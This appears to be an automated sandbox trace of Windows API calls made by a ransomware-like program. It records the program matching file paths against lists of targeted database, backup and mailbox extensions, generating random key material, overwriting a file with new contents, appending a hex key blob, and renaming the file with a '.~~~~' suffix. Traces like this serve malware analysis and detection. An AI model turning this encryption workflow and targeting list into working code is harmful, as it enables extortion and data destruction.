	[0076.402] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".SDF") returned 0x0
	[0076.402] lstrlenW (lpString=".dtxs") returned 5
	[0076.402] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".dtxs") returned 0x0
	[0076.402] lstrlenW (lpString=".db3") returned 4
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".db3") returned 0x0
	[0076.403] lstrlenW (lpString=".OST") returned 4
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".OST") returned 0x0
	[0076.403] lstrlenW (lpString=".dbx") returned 4
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".dbx") returned 0x0
	[0076.403] lstrlenW (lpString=".DB3") returned 4
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".DB3") returned 0x0
	[0076.403] lstrlenW (lpString=".DAT") returned 4
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".DAT") returned 0x0
	[0076.403] lstrlenW (lpString=".VHDX") returned 5
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".VHDX") returned 0x0
	[0076.403] lstrlenW (lpString=".ndf") returned 4
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".ndf") returned 0x0
	[0076.403] lstrlenW (lpString=".DB") returned 3
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".DB") returned 0x0
	[0076.403] lstrlenW (lpString=".sql") returned 4
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".sql") returned 0x0
	[0076.403] lstrlenW (lpString=".MYD") returned 4
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".MYD") returned 0x0
	[0076.403] lstrlenW (lpString=".DBT") returned 4
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".DBT") returned 0x0
	[0076.403] lstrlenW (lpString=".ACCDB") returned 6
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".ACCDB") returned 0x0
	[0076.403] lstrlenW (lpString=".fdb") returned 4
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".fdb") returned 0x0
	[0076.403] lstrlenW (lpString=".bak") returned 4
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".bak") returned 0x0
	[0076.403] lstrlenW (lpString=".myd") returned 4
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".myd") returned 0x0
	[0076.403] lstrlenW (lpString=".DTXS") returned 5
	[0076.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".DTXS") returned 0x0
	[0076.403] lstrlenW (lpString=".ckp") returned 4
	[0076.404] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".ckp") returned 0x0
	[0076.404] lstrlenW (lpString=".dbt") returned 4
	[0076.404] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".dbt") returned 0x0
	[0076.404] lstrlenW (lpString=".db") returned 3
	[0076.404] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".db") returned 0x0
	[0076.404] lstrlenW (lpString=".TXT") returned 4
	[0076.404] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".TXT") returned 0x0
	[0076.404] lstrlenW (lpString=".MDF") returned 4
	[0076.404] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".MDF") returned 0x0
	[0076.404] lstrlenW (lpString=".bdb") returned 4
	[0076.404] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".bdb") returned 0x0
	[0076.404] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.404] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a3178
	[0076.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.404] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0076.405] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.405] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0076.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0076.405] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19639519282) returned 1
	[0076.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x97711290, dwHighDateTime=0x1d60e1e)) 
	[0076.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0076.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0076.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0076.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a33e0
	[0076.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a33e0 | out: hHeap=0x300000) returned 1
	[0076.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e82c0
	[0076.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e82c0 | out: hHeap=0x300000) returned 1
	[0076.406] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0076.406] GetLastError () returned 0x0
	[0076.406] GetLastError () returned 0x0
	[0076.406] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0076.406] GetLastError () returned 0x0
	[0076.406] GetLastError () returned 0x0
	[0076.407] ReadFile (in: hFile=0x11c, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.411] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.411] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0076.414] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.414] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.415] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.415] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.416] CloseHandle (hObject=0x11c) returned 1
	[0076.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a43e0
	[0076.417] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.~~~~")) returned 1
	[0076.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a43e0 | out: hHeap=0x300000) returned 1
	[0076.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0076.417] GetLastError () returned 0x0
	[0076.418] RtlWakeConditionVariable () returned 0x365f70
	[0076.418] GetCurrentThreadId () returned 0x3a4
	[0076.418] GetCurrentThreadId () returned 0x3a4
	[0076.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0076.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8410 | out: hHeap=0x300000) returned 1
	[0076.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3418 | out: hHeap=0x300000) returned 1
	[0076.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8410
	[0076.418] lstrlenW (lpString=".scr") returned 4
	[0076.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0076.418] lstrlenW (lpString=".cmd") returned 4
	[0076.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0076.418] lstrlenW (lpString=".dll") returned 4
	[0076.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0076.418] lstrlenW (lpString=".bat") returned 4
	[0076.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0076.418] lstrlenW (lpString=".cpl") returned 4
	[0076.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0076.418] lstrlenW (lpString=".sys") returned 4
	[0076.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0076.418] lstrlenW (lpString=".msc") returned 4
	[0076.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0076.418] lstrlenW (lpString=".com") returned 4
	[0076.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0076.418] lstrlenW (lpString=".lnk") returned 4
	[0076.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0076.418] lstrlenW (lpString=".msp") returned 4
	[0076.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0076.418] lstrlenW (lpString=".pif") returned 4
	[0076.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0076.418] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0076.419] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.420] lstrlenW (lpString=".sqb") returned 4
	[0076.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0076.420] lstrlenW (lpString=".ost") returned 4
	[0076.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0076.420] lstrlenW (lpString=".txt") returned 4
	[0076.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0076.420] lstrlenW (lpString=".mdt") returned 4
	[0076.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0076.420] lstrlenW (lpString=".BDB") returned 4
	[0076.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0076.420] lstrlenW (lpString=".eql") returned 4
	[0076.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0076.420] lstrlenW (lpString=".DBF") returned 4
	[0076.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0076.420] lstrlenW (lpString=".EQL") returned 4
	[0076.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0076.420] lstrlenW (lpString=".FDB") returned 4
	[0076.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0076.420] lstrlenW (lpString=".EDB") returned 4
	[0076.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0076.420] lstrlenW (lpString=".DACPAC") returned 7
	[0076.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0076.420] lstrlenW (lpString=".VHD") returned 4
	[0076.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0076.420] lstrlenW (lpString=".DBV") returned 4
	[0076.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0076.420] lstrlenW (lpString=".dacpac") returned 7
	[0076.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0076.420] lstrlenW (lpString=".sdf") returned 4
	[0076.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0076.420] lstrlenW (lpString=".accdb") returned 6
	[0076.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0076.421] lstrlenW (lpString=".DBX") returned 4
	[0076.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0076.421] lstrlenW (lpString=".MDT") returned 4
	[0076.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0076.421] lstrlenW (lpString=".SQB") returned 4
	[0076.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0076.421] lstrlenW (lpString=".vhd") returned 4
	[0076.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0076.421] lstrlenW (lpString=".bac") returned 4
	[0076.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0076.421] lstrlenW (lpString=".mdf") returned 4
	[0076.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0076.421] lstrlenW (lpString=".BAK") returned 4
	[0076.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0076.421] lstrlenW (lpString=".BAC") returned 4
	[0076.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0076.421] lstrlenW (lpString=".dbs") returned 4
	[0076.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0076.421] lstrlenW (lpString=".vhdx") returned 5
	[0076.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0076.421] lstrlenW (lpString=".NDF") returned 4
	[0076.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0076.421] lstrlenW (lpString=".dat") returned 4
	[0076.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0076.421] lstrlenW (lpString=".DBS") returned 4
	[0076.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0076.421] lstrlenW (lpString=".CKP") returned 4
	[0076.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0076.421] lstrlenW (lpString=".edb") returned 4
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0076.422] lstrlenW (lpString=".PST") returned 4
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0076.422] lstrlenW (lpString=".dbf") returned 4
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0076.422] lstrlenW (lpString=".SQL") returned 4
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0076.422] lstrlenW (lpString=".pst") returned 4
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0076.422] lstrlenW (lpString=".dbv") returned 4
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0076.422] lstrlenW (lpString=".SDF") returned 4
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0076.422] lstrlenW (lpString=".dtxs") returned 5
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0076.422] lstrlenW (lpString=".db3") returned 4
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0076.422] lstrlenW (lpString=".OST") returned 4
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0076.422] lstrlenW (lpString=".dbx") returned 4
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0076.422] lstrlenW (lpString=".DB3") returned 4
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0076.422] lstrlenW (lpString=".DAT") returned 4
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0076.422] lstrlenW (lpString=".VHDX") returned 5
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0076.422] lstrlenW (lpString=".ndf") returned 4
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0076.422] lstrlenW (lpString=".DB") returned 3
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0076.422] lstrlenW (lpString=".sql") returned 4
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0076.422] lstrlenW (lpString=".MYD") returned 4
	[0076.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0076.423] lstrlenW (lpString=".DBT") returned 4
	[0076.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0076.423] lstrlenW (lpString=".ACCDB") returned 6
	[0076.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0076.423] lstrlenW (lpString=".fdb") returned 4
	[0076.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0076.423] lstrlenW (lpString=".bak") returned 4
	[0076.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0076.423] lstrlenW (lpString=".myd") returned 4
	[0076.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
